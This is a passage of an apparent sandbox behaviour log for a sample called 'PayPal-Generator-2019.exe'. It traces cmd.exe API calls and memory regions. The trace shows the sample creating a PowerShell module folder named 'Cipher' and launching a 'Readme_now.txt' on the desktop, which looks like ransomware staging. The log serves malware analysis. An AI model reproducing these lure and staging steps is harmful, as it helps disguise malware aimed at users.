lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x209 [0049.536] SetFilePointer (in: hFile=0x3c, lDistanceToMove=-1, lpDistanceToMoveHigh=0xe2d204*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xe2d204*=0) returned 0x208 [0049.537] ReadFile (in: hFile=0x3c, lpBuffer=0xe2d208, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe2d1f8, lpOverlapped=0x0 | out: lpBuffer=0xe2d208*, lpNumberOfBytesRead=0xe2d1f8*=0x1, lpOverlapped=0x0) returned 1 [0049.537] GetConsoleTitleW (in: lpConsoleTitle=0xe2d008, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\PayPal-Generator-2019.exe") returned 0x37 [0049.537] _wcsicmp (_String1="echo", _String2="DIR") returned 1 [0049.537] _wcsicmp (_String1="echo", _String2="ERASE") returned -15 [0049.537] _wcsicmp (_String1="echo", _String2="DEL") returned 1 [0049.537] _wcsicmp (_String1="echo", _String2="TYPE") returned -15 [0049.537] _wcsicmp (_String1="echo", _String2="COPY") returned 2 [0049.538] _wcsicmp (_String1="echo", _String2="CD") returned 2 [0049.538] _wcsicmp (_String1="echo", _String2="CHDIR") returned 2 [0049.538] _wcsicmp (_String1="echo", _String2="RENAME") returned -13 [0049.538] _wcsicmp (_String1="echo", _String2="REN") returned -13 [0049.538] _wcsicmp (_String1="echo", _String2="ECHO") returned 0 [0049.538] _vsnwprintf (in: _Buffer=0x1066940, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0xe2cfc4 | out: _Buffer="start $home\\Desktop\\Readme_now.txt \r\n") returned 38 [0049.538] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.538] GetFileType (hFile=0x3c) returned 0x1 [0049.538] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.538] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="start $home\\Desktop\\Readme_now.txt \r\n", cchWideChar=-1, lpMultiByteStr=0x106a960, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="start $home\\Desktop\\Readme_now.txt \r\n", lpUsedDefaultChar=0x0) returned 39 [0049.538] WriteFile (in: hFile=0x3c, lpBuffer=0x106a960*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0xe2cfb4, lpOverlapped=0x0 | out: lpBuffer=0x106a960*, lpNumberOfBytesWritten=0xe2cfb4*=0x26, lpOverlapped=0x0) returned 1 [0049.538] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0049.539] _close (_FileHandle=3) returned 0 [0049.539] GetConsoleTitleW (in: lpConsoleTitle=0xe2d008, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\PayPal-Generator-2019.exe") returned 0x37 [0049.539] _wcsicmp (_String1="exit", _String2="DIR") returned 1 [0049.539] _wcsicmp (_String1="exit", _String2="ERASE") returned 6 [0049.539] _wcsicmp (_String1="exit", _String2="DEL") returned 1 [0049.539] _wcsicmp (_String1="exit", _String2="TYPE") returned -15 [0049.540] _wcsicmp (_String1="exit", _String2="COPY") returned 2 [0049.540] _wcsicmp (_String1="exit", _String2="CD") returned 2 [0049.540] _wcsicmp (_String1="exit", _String2="CHDIR") returned 2 [0049.540] _wcsicmp (_String1="exit", _String2="RENAME") returned -13 [0049.540] _wcsicmp (_String1="exit", _String2="REN") returned -13 [0049.540] _wcsicmp (_String1="exit", _String2="ECHO") returned 21 [0049.540] _wcsicmp (_String1="exit", _String2="SET") returned -14 [0049.540] _wcsicmp (_String1="exit", _String2="PAUSE") returned -11 [0049.540] _wcsicmp (_String1="exit", _String2="DATE") returned 1 [0049.540] _wcsicmp (_String1="exit", _String2="TIME") returned -15 [0049.540] _wcsicmp (_String1="exit", _String2="PROMPT") returned -11 [0049.540] _wcsicmp (_String1="exit", _String2="MD") returned -8 [0049.540] _wcsicmp (_String1="exit", _String2="MKDIR") returned -8 [0049.540] _wcsicmp (_String1="exit", _String2="RD") returned -13 [0049.540] _wcsicmp (_String1="exit", _String2="RMDIR") returned -13 [0049.540] _wcsicmp (_String1="exit", _String2="PATH") returned -11 [0049.540] _wcsicmp (_String1="exit", _String2="GOTO") returned -2 [0049.540] _wcsicmp (_String1="exit", _String2="SHIFT") returned -14 [0049.540] _wcsicmp (_String1="exit", _String2="CLS") returned 2 [0049.540] _wcsicmp (_String1="exit", _String2="CALL") returned 2 [0049.540] _wcsicmp (_String1="exit", _String2="VERIFY") returned -17 [0049.540] _wcsicmp (_String1="exit", _String2="VER") returned -17 [0049.540] _wcsicmp (_String1="exit", _String2="VOL") returned -17 [0049.540] _wcsicmp (_String1="exit", _String2="EXIT") returned 0 [0049.540] exit (_Code=0) Thread: id = 8 os_tid = 0x518 Process: id = "4" image_name = "cmd.exe" filename = "c:\\windows\\syswow64\\cmd.exe" page_root = "0x2b7af000" os_pid = "0xa6c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x2f4" cmd_line = "cmd.exe /c mkdir C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher " cur_dir = "C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" os_username = "LHNIWSJ\\CIiHmnxMn6Ps" os_groups = "LHNIWSJ\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00013da5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 296 start_va = 0xb40000 end_va = 0xb5ffff entry_point = 0x0 region_type = private name = "private_0x0000000000b40000" filename = "" Region: id = 297 start_va = 0xb60000 end_va = 0xb61fff entry_point = 0x0 region_type = private name = "private_0x0000000000b60000" filename = "" Region: id = 298 start_va = 0xb70000 end_va = 0xb83fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000b70000" filename = "" Region: id = 299 start_va = 0xb90000 end_va = 0xbcffff entry_point = 0x0 region_type = private name = "private_0x0000000000b90000" filename = "" Region: id = 300 start_va = 0xbd0000 end_va = 0xccffff entry_point = 0x0 region_type = private name = "private_0x0000000000bd0000" filename = "" Region: id = 301 start_va = 0xcd0000 end_va = 0xcd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000cd0000" filename = "" Region: id = 302 start_va = 0xce0000 end_va = 0xce0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000ce0000" filename = "" Region: id = 303 start_va = 0xcf0000 end_va = 0xcf1fff entry_point = 0x0 region_type = private name = "private_0x0000000000cf0000" filename = "" Region: id = 304 start_va = 0x1030000 end_va = 0x107ffff entry_point = 0x1030000 region_type = mapped_file name = "cmd.exe" filename = "\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe") Region: id = 305 start_va = 0x1080000 end_va = 0x507ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001080000" filename = "" Region: id = 306 start_va = 0x776b0000 end_va = 0x77828fff entry_point = 0x776b0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 307 start_va = 0x7f6e0000 end_va = 0x7f702fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007f6e0000" filename = "" Region: id = 308 start_va = 0x7f70b000 end_va = 0x7f70dfff entry_point = 0x0 region_type = private name = "private_0x000000007f70b000" filename = "" Region: id = 309 start_va = 0x7f70e000 end_va = 0x7f70efff entry_point = 0x0 region_type = private name = "private_0x000000007f70e000" filename = "" Region: id = 310 start_va = 0x7f70f000 end_va = 0x7f70ffff entry_point = 0x0 region_type = private name = "private_0x000000007f70f000" filename = "" Region: id = 311 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 312 start_va = 0x7fff0000 end_va = 0x7dfc57b4ffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 313 start_va = 0x7dfc57b50000 end_va = 0x7ffc57b4ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007dfc57b50000" filename = "" Region: id = 314 start_va = 0x7ffc57b50000 end_va = 0x7ffc57d11fff entry_point = 0x7ffc57b50000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 315 start_va = 0x7ffc57d12000 end_va = 0x7ffffffeffff entry_point = 0x0 region_type = private name = "private_0x00007ffc57d12000" filename = "" Region: id = 316 start_va = 0xd70000 end_va = 0xd7ffff entry_point = 0x0 region_type = private name = "private_0x0000000000d70000" filename = "" Region: id = 317 start_va = 0x5bab0000 end_va = 0x5bb22fff entry_point = 0x5bab0000 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 318 start_va = 0x5bb30000 end_va = 0x5bb7efff entry_point = 0x5bb30000 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 319 start_va = 0x5baa0000 end_va = 0x5baa7fff entry_point = 0x5baa0000 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 320 start_va = 0xb40000 end_va = 0xb4ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000b40000" filename = "" Region: id = 321 start_va = 0xd00000 end_va = 0xd3ffff entry_point = 0x0 region_type = private name = "private_0x0000000000d00000" filename = "" Region: id = 322 start_va = 0xd80000 end_va = 0xe3dfff entry_point = 0xd80000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 323 start_va = 0xed0000 end_va = 0xfcffff entry_point = 0x0 region_type = private name = "private_0x0000000000ed0000" filename = "" Region: id = 324 start_va = 0x5080000 end_va = 0x517ffff entry_point = 0x0 region_type = private name = "private_0x0000000005080000" filename = "" Region: id = 325 start_va = 0x5340000 end_va = 0x534ffff entry_point = 0x0 region_type = private name = "private_0x0000000005340000" filename = "" Region: id = 326 start_va = 0x74f40000 end_va = 0x7502ffff entry_point = 0x74f40000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 327 start_va = 0x75190000 end_va = 0x75305fff entry_point = 0x75190000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 328 start_va = 0x76f20000 end_va = 0x76fddfff entry_point = 0x76f20000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 329 start_va = 0x7f5e0000 end_va = 0x7f6dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007f5e0000" filename = "" Region: id = 330 start_va = 0x7f708000 end_va = 0x7f70afff entry_point = 0x0 region_type = private name = "private_0x000000007f708000" filename = "" Region: id = 331 start_va = 0xb50000 end_va = 0xb53fff entry_point = 0x0 region_type = private name = "private_0x0000000000b50000" filename = "" Region: id = 332 start_va = 0xb60000 end_va = 0xb63fff entry_point = 0x0 region_type = private name = "private_0x0000000000b60000" filename = "" Thread: id = 9 os_tid = 0x55c [0048.336] GetModuleHandleA (lpModuleName=0x0) returned 0x1030000 [0048.336] __set_app_type (_Type=0x1) [0048.336] __p__fmode () returned 0x76fd4d6c [0048.336] __p__commode () returned 0x76fd5b1c [0048.336] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x10436e0) returned 0x0 [0048.336] __getmainargs (in: _Argc=0x10550e8, _Argv=0x10550ec, _Env=0x10550f0, _DoWildCard=0, _StartInfo=0x10550fc | out: _Argc=0x10550e8, _Argv=0x10550ec, _Env=0x10550f0) returned 0 [0048.337] GetCurrentThreadId () returned 0x55c [0048.337] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x55c) returned 0x84 [0048.337] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x74f40000 [0048.337] GetProcAddress (hModule=0x74f40000, lpProcName="SetThreadUILanguage") returned 0x74f82780 [0048.337] SetThreadUILanguage (LangId=0x0) returned 0x409 [0048.375] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0048.375] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0xccfb90 | out: phkResult=0xccfb90*=0x0) returned 0x2 [0048.376] VirtualQuery (in: lpAddress=0xccfb97, lpBuffer=0xccfb48, dwLength=0x1c | out: lpBuffer=0xccfb48*(BaseAddress=0xccf000, AllocationBase=0xbd0000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0048.376] VirtualQuery (in: lpAddress=0xbd0000, lpBuffer=0xccfb48, dwLength=0x1c | out: lpBuffer=0xccfb48*(BaseAddress=0xbd0000, AllocationBase=0xbd0000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c [0048.376] VirtualQuery (in: lpAddress=0xbd1000, lpBuffer=0xccfb48, dwLength=0x1c | out: lpBuffer=0xccfb48*(BaseAddress=0xbd1000, AllocationBase=0xbd0000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c [0048.376] VirtualQuery (in: lpAddress=0xbd3000, lpBuffer=0xccfb48, dwLength=0x1c | out: lpBuffer=0xccfb48*(BaseAddress=0xbd3000, AllocationBase=0xbd0000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0048.376] VirtualQuery (in: lpAddress=0xcd0000, lpBuffer=0xccfb48, dwLength=0x1c | out: lpBuffer=0xccfb48*(BaseAddress=0xcd0000, AllocationBase=0xcd0000, AllocationProtect=0x2, RegionSize=0x4000, State=0x1000, Protect=0x2, Type=0x40000)) returned 0x1c [0048.376] GetConsoleOutputCP () returned 0x1b5 [0048.377] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x105e460 | out: lpCPInfo=0x105e460) returned 1 [0048.377] SetConsoleCtrlHandler (HandlerRoutine=0x104f980, Add=1) returned 1 [0048.378] _get_osfhandle (_FileHandle=1) returned 0x3c [0048.378] SetConsoleMode (hConsoleHandle=0x3c, dwMode=0x0) returned 1 [0048.379] _get_osfhandle (_FileHandle=1) returned 0x3c [0048.379] GetConsoleMode (in: hConsoleHandle=0x3c, lpMode=0x105e40c | out: lpMode=0x105e40c) returned 1 [0048.382] _get_osfhandle (_FileHandle=1) returned 0x3c [0048.382] SetConsoleMode (hConsoleHandle=0x3c, dwMode=0x3) returned 1 [0048.384] _get_osfhandle (_FileHandle=0) returned 0x38 [0048.384] GetConsoleMode (in: hConsoleHandle=0x38, lpMode=0x105e408 | out: lpMode=0x105e408) returned 1 [0048.387] GetEnvironmentStringsW () returned 0xed7f38* [0048.387] FreeEnvironmentStringsA (penv="=") returned 1 [0048.387] GetEnvironmentStringsW () returned 0xed7f38* [0048.387] FreeEnvironmentStringsA (penv="=") returned 1 [0048.387] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0xcceaf4 | out: phkResult=0xcceaf4*=0x94) returned 0x0 [0048.387] RegQueryValueExW (in: hKey=0x94, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0xcceaf8, lpData=0xcceb00, lpcbData=0xcceafc*=0x1000 | out: lpType=0xcceaf8*=0x0, lpData=0xcceb00*=0x88, lpcbData=0xcceafc*=0x1000) returned 0x2 [0048.387] RegQueryValueExW (in: hKey=0x94, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0xcceaf8, lpData=0xcceb00, lpcbData=0xcceafc*=0x1000 | out: lpType=0xcceaf8*=0x4, lpData=0xcceb00*=0x1, lpcbData=0xcceafc*=0x4) returned 0x0 [0048.388] RegQueryValueExW (in: hKey=0x94, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0xcceaf8, lpData=0xcceb00, lpcbData=0xcceafc*=0x1000 | out: lpType=0xcceaf8*=0x0, lpData=0xcceb00*=0x1, lpcbData=0xcceafc*=0x1000) returned 0x2 [0048.388] RegQueryValueExW (in: hKey=0x94, lpValueName="DefaultColor", lpReserved=0x0, lpType=0xcceaf8, lpData=0xcceb00, lpcbData=0xcceafc*=0x1000 | out: lpType=0xcceaf8*=0x4, lpData=0xcceb00*=0x0, lpcbData=0xcceafc*=0x4) returned 0x0 [0048.388] RegQueryValueExW (in: hKey=0x94, lpValueName="CompletionChar", lpReserved=0x0, lpType=0xcceaf8, lpData=0xcceb00, lpcbData=0xcceafc*=0x1000 | out: lpType=0xcceaf8*=0x4, lpData=0xcceb00*=0x40, lpcbData=0xcceafc*=0x4) returned 0x0 [0048.388] RegQueryValueExW (in: hKey=0x94, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0xcceaf8, lpData=0xcceb00, lpcbData=0xcceafc*=0x1000 | out: lpType=0xcceaf8*=0x4, lpData=0xcceb00*=0x40, lpcbData=0xcceafc*=0x4) returned 0x0 [0048.388] RegQueryValueExW (in: hKey=0x94, lpValueName="AutoRun", lpReserved=0x0, lpType=0xcceaf8, lpData=0xcceb00, lpcbData=0xcceafc*=0x1000 | out: lpType=0xcceaf8*=0x0, lpData=0xcceb00*=0x40, lpcbData=0xcceafc*=0x1000) returned 0x2 [0048.388] RegCloseKey (hKey=0x94) returned 0x0 [0048.388] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0xcceaf4 | out: phkResult=0xcceaf4*=0x94) returned 0x0 [0048.388] RegQueryValueExW (in: hKey=0x94, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0xcceaf8, lpData=0xcceb00, lpcbData=0xcceafc*=0x1000 | out: lpType=0xcceaf8*=0x0, lpData=0xcceb00*=0x40, lpcbData=0xcceafc*=0x1000) returned 0x2 [0048.388] RegQueryValueExW (in: hKey=0x94, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0xcceaf8, lpData=0xcceb00, lpcbData=0xcceafc*=0x1000 | out: lpType=0xcceaf8*=0x4, lpData=0xcceb00*=0x1, lpcbData=0xcceafc*=0x4) returned 0x0 [0048.388] RegQueryValueExW (in: hKey=0x94, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0xcceaf8, lpData=0xcceb00, lpcbData=0xcceafc*=0x1000 | out: lpType=0xcceaf8*=0x0, lpData=0xcceb00*=0x1, lpcbData=0xcceafc*=0x1000) returned 0x2 [0048.388] RegQueryValueExW (in: hKey=0x94, lpValueName="DefaultColor", lpReserved=0x0, lpType=0xcceaf8, lpData=0xcceb00, lpcbData=0xcceafc*=0x1000 | out: lpType=0xcceaf8*=0x4, lpData=0xcceb00*=0x0, lpcbData=0xcceafc*=0x4) returned 0x0 [0048.388] RegQueryValueExW (in: hKey=0x94, lpValueName="CompletionChar", lpReserved=0x0, lpType=0xcceaf8, lpData=0xcceb00, lpcbData=0xcceafc*=0x1000 | out: lpType=0xcceaf8*=0x4, lpData=0xcceb00*=0x9, lpcbData=0xcceafc*=0x4) returned 0x0 [0048.388] RegQueryValueExW (in: hKey=0x94, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0xcceaf8, lpData=0xcceb00, lpcbData=0xcceafc*=0x1000 | out: lpType=0xcceaf8*=0x4, lpData=0xcceb00*=0x9, lpcbData=0xcceafc*=0x4) returned 0x0 [0048.388] RegQueryValueExW (in: hKey=0x94, lpValueName="AutoRun", lpReserved=0x0, lpType=0xcceaf8, lpData=0xcceb00, lpcbData=0xcceafc*=0x1000 | out: lpType=0xcceaf8*=0x0, lpData=0xcceb00*=0x9, lpcbData=0xcceafc*=0x1000) returned 0x2 [0048.388] RegCloseKey (hKey=0x94) returned 0x0 [0048.388] time (in: timer=0x0 | out: timer=0x0) returned 0x5c5c82ca [0048.388] srand (_Seed=0x5c5c82ca) [0048.388] GetCommandLineW () returned="cmd.exe /c mkdir C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher " [0048.388] GetCommandLineW () returned="cmd.exe /c mkdir C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher " [0048.389] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x1066720 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 0x1d [0048.389] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xed7f40, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b [0048.389] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x105e4a0, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x87 [0048.389] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x105e4a0, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0048.389] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x105e4a0, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0048.389] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x105e4a0, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0048.389] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x105e4a0, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0048.389] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0048.389] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0048.389] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0048.389] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0048.389] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0048.389] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0048.389] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0048.389] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0048.389] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0xccf8cc | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 0x1d [0048.389] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop", nBufferLength=0x104, lpBuffer=0xccf8cc, lpFilePart=0xccf8c4 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpFilePart=0xccf8c4*="Desktop") returned 0x1d [0048.390] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop")) returned 0x11 [0048.390] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0xccf648 | out: lpFindFileData=0xccf648) returned 0xed8150 [0048.390] FindClose (in: hFindFile=0xed8150 | out: hFindFile=0xed8150) returned 1 [0048.390] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps", lpFindFileData=0xccf648 | out: lpFindFileData=0xccf648) returned 0xed8150 [0048.390] FindClose (in: hFindFile=0xed8150 | out: hFindFile=0xed8150) returned 1 [0048.390] _wcsnicmp (_String1="CIIHMN~1", _String2="CIiHmnxMn6Ps", _MaxCount=0xc) returned 6 [0048.390] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpFindFileData=0xccf648 | out: lpFindFileData=0xccf648) returned 0xed8150 [0048.390] FindClose (in: hFindFile=0xed8150 | out: hFindFile=0xed8150) returned 1 [0048.390] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop")) returned 0x11 [0048.390] SetCurrentDirectoryW (lpPathName="C:\\Users\\CIiHmnxMn6Ps\\Desktop" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop")) returned 1 [0048.391] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1 [0048.391] GetEnvironmentStringsW () returned 0xed8150* [0048.391] FreeEnvironmentStringsA (penv="=") returned 1 [0048.391] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x1066720 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 0x1d [0048.391] GetConsoleOutputCP () returned 0x1b5 [0048.396] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x105e460 | out: lpCPInfo=0x105e460) returned 1 [0048.396] GetUserDefaultLCID () returned 0x409 [0048.397] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x10624a0, cchData=8 | out: lpLCData=":") returned 2 [0048.397] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0xccf9fc, cchData=128 | out: lpLCData="0") returned 2 [0048.397] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0xccf9fc, cchData=128 | out: lpLCData="0") returned 2 [0048.397] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0xccf9fc, cchData=128 | out: lpLCData="1") returned 2 [0048.397] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x10624b0, cchData=8 | out: lpLCData="/") returned 2 [0048.397] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x1062500, cchData=32 | out: lpLCData="Mon") returned 4 [0048.397] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x1062540, cchData=32 | out: lpLCData="Tue") returned 4 [0048.397] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x1062580, cchData=32 | out: lpLCData="Wed") returned 4 [0048.397] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x10625c0, cchData=32 | out: lpLCData="Thu") returned 4 [0048.397] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x1062600, cchData=32 | out: lpLCData="Fri") returned 4 [0048.397] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x1062640, cchData=32 | out: lpLCData="Sat") returned 4 [0048.397] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x1062680, cchData=32 | out: lpLCData="Sun") returned 4 [0048.397] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x10624c0, cchData=8 | out: lpLCData=".") returned 2 [0048.397] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x10624e0, cchData=8 | out: lpLCData=",") returned 2 [0048.397] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0048.398] GetConsoleTitleW (in: lpConsoleTitle=0xed81f8, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\PayPal-Generator-2019.exe") returned 0x37 [0048.399] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x74f40000 [0048.399] GetProcAddress (hModule=0x74f40000, lpProcName="CopyFileExW") returned 0x74f5fa80 [0048.399] GetProcAddress (hModule=0x74f40000, lpProcName="IsDebuggerPresent") returned 0x74f5a790 [0048.399] GetProcAddress (hModule=0x74f40000, lpProcName="SetConsoleInputExeNameW") returned 0x752a35c0 [0048.400] _wcsicmp (_String1="mkdir", _String2=")") returned 68 [0048.400] _wcsicmp (_String1="FOR", _String2="mkdir") returned -7 [0048.400] _wcsicmp (_String1="FOR/?", _String2="mkdir") returned -7 [0048.400] _wcsicmp (_String1="IF", _String2="mkdir") returned -4 [0048.400] _wcsicmp (_String1="IF/?", _String2="mkdir") returned -4 [0048.400] _wcsicmp (_String1="REM", _String2="mkdir") returned 5 [0048.400] _wcsicmp (_String1="REM/?", _String2="mkdir") returned 5 [0048.401] GetConsoleTitleW (in: lpConsoleTitle=0xccf6e8, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\PayPal-Generator-2019.exe") returned 0x37 [0048.401] _wcsicmp (_String1="mkdir", _String2="DIR") returned 9 [0048.401] _wcsicmp (_String1="mkdir", _String2="ERASE") returned 8 [0048.401] _wcsicmp (_String1="mkdir", _String2="DEL") returned 9 [0048.402] _wcsicmp (_String1="mkdir", _String2="TYPE") returned -7 [0048.402] _wcsicmp 